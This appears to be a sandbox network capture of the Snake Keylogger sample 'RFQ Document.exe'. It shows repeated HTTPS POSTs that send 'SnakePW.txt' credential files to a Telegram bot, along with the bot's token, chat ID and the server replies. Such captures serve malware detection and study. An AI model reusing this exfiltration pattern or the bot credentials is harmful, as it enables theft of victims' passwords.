2021-09-28 05:59:37 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:37 UTC	387	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12830,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.4	50066	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:37 UTC	388	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ef9eb898 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:37 UTC	388	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 39 65 62 38 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ef9eb898Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:37 UTC	389	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12831,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.4	50067	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:37 UTC	389	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255efc4de56 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:37 UTC	390	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 63 34 64 65 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255efc4de56Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:37 UTC	390	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:37 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:37 UTC	390	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12833,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.4	50068	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:37 UTC	391	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255efdcb580 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:37 UTC	391	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 64 63 62 35 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255efdcb580Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:38 UTC	392	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:38 UTC	392	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12834,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.4	50070	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:38 UTC	393	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255effbb41a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:38 UTC	393	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 66 66 62 62 34 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255effbb41aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:38 UTC	393	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:38 UTC	394	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12835,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808778,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.4	50072	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:38 UTC	394	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f018515d Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:38 UTC	394	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 31 38 35 31 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f018515dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:38 UTC	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:38 UTC	395	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12836,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808778,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.4	50073	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:38 UTC	396	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f03027e0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:38 UTC	396	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 33 30 32 37 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f03027e0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:38 UTC	396	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:38 UTC	397	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12837,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808778,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49799	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:25 UTC	39	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c4e1c0b2 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:25 UTC	40	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 65 31 63 30 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c4e1c0b2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:25 UTC	40	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:25 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:25 UTC	40	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 35 2c 22 64 Data Ascii: 